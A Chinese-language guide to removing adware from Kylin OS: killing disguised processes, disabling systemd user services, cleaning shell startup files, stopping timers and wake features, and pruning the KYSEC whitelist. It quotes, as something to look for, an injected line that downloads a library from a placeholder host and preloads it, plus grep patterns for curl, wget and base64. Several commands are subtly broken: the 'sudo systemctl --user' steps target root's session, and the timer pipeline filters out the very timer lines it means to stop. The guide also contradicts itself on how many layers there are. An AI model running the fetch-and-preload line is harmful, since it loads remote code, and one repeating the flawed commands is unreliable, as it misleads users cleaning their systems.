麒麟os广告插件需从进程、systemd服务、shell脚本、定时器及kysec白名单五层清除:定位混淆命名进程并kill;禁用用户级广告service;清理bashrc等启动脚本中的恶意命令;停用timer和网卡唤醒;移除kysec中广告进程豁免。

麒麟OS中应用在后台静默运行广告插件进程,会导致CPU异常升温、内存持续占用、流量无故消耗,甚至触发KYSEC保护机制误杀其他合法服务——这类广告插件常伪装成systemd用户服务、注入bashrc启动脚本、或以守护进程方式驻留/dev/shm/临时目录,必须从服务注册、进程路径、环境变量、内核模块四层同步清除。
定位并终止正在运行的广告插件进程
广告插件极少使用标准进程名,多采用混淆命名(如“ksysguardd”“dbus-svr”“updater_helper”),且常通过shell wrapper启动,直接ps aux | grep会漏掉真实父进程。
执行以下命令列出所有非系统用户启动、且CMD列含可疑路径的进程:
ps -eo pid,ppid,comm,args --sort=pid | awk '$2==1 && $4 ~ /\/tmp\/|\/dev\/shm\/|sh[[:space:]]+-c|\.so$/ {print $0}'
若输出中出现PID为独立数字、PPID=1、args含base64解码或curl/wget调用的条目,立即记录PID;执行sudo kill -9 PID强制终止——【注意:不要kill PID=1的systemd主进程,否则桌面将崩溃】。
对已知高风险关键词(如“adtrack”“pushsdk”“notifyx”)批量清理:
sudo pkill -f "adtrack\|pushsdk\|notifyx"
清除广告插件注册的systemd用户级服务
广告SDK常在安装或首次运行时,自动向~/.config/systemd/user/写入.service文件,并启用开机自启。这些服务即使主程序关闭,仍会每30秒拉起一次广告加载进程。
第一步:列出当前用户所有已启用的service单元
systemctl --user list-unit-files --type=service --state=enabled
第二步:筛选名称含广告特征的服务(如adsvc、pushd、trackagent、notifier)
第三步:对每个匹配项执行三连操作→
sudo systemctl --user stop 服务名.service →
sudo systemctl --user disable 服务名.service →
rm -f ~/.config/systemd/user/服务名.service
第四步:彻底刷新配置,防止残留缓存激活
systemctl --user daemon-reload && systemctl --user reset-failed
剥离广告插件在shell初始化脚本中的持久化入口
部分广告插件不依赖systemd,而是修改用户级shell启动脚本,在每次打开终端或登录时执行curl下载恶意so库并dlopen加载,隐蔽性极强。
检查以下四个关键位置是否被注入可疑命令:
cat ~/.bashrc ~/.profile ~/.bash_profile ~/.zshrc 2>/dev/null | grep -E "(curl|wget|base64|/dev/shm/|\.so$)"
若发现类似以下任意一行:
curl -s http://x.x.x.x/ad.so > /dev/shm/a.so && LD_PRELOAD=/dev/shm/a.so $SHELL
则立即手动删除该行——【删除前务必复制整行到文本编辑器备份,避免误删PATH等关键配置】。
执行source ~/.bashrc使修改立即生效,再新开终端验证是否仍有异常进程启动。
禁用广告插件依赖的网络唤醒与定时器能力
广告插件需维持长连接或定时拉取新广告,常注册systemd timer或启用网卡Wake-on-LAN功能,在系统休眠后仍能被网络包唤醒,造成后台“复活”。
方法一:停用全部用户级timer
systemctl --user list-timers --all | grep -v ".timer" | awk '{print $1}' | xargs -r -I{} systemctl --user stop {}
方法二:关闭网卡自动唤醒能力(以有线网卡eth0为例)
sudo ethtool -s eth0 wol d
方法三:清空广告插件可能注册的wakealarm定时唤醒
echo 0 | sudo tee /sys/class/rtc/rtc0/wakealarm 2>/dev/null
从KYSEC白名单中移除广告插件进程豁免
KYSEC的process protect模块默认阻止非白名单进程长期驻留,但某些广告SDK安装时会悄悄调用kysec-ppro-add将其自身加入豁免列表,从而绕过所有后台冻结策略。
以root身份执行:
sudo -i
列出所有处于enabled状态的KYSEC进程白名单:
kysec-ppro-list | grep -A2 "status: enabled"
若输出中包含广告相关关键词(如ad、push、track、notify),立即执行移除:
sudo kysec-ppro-del -n "关键词名"
最后验证是否清除干净:
kysec-ppro-list | grep -i "关键词名" ——若无任何输出,说明已成功剔除。











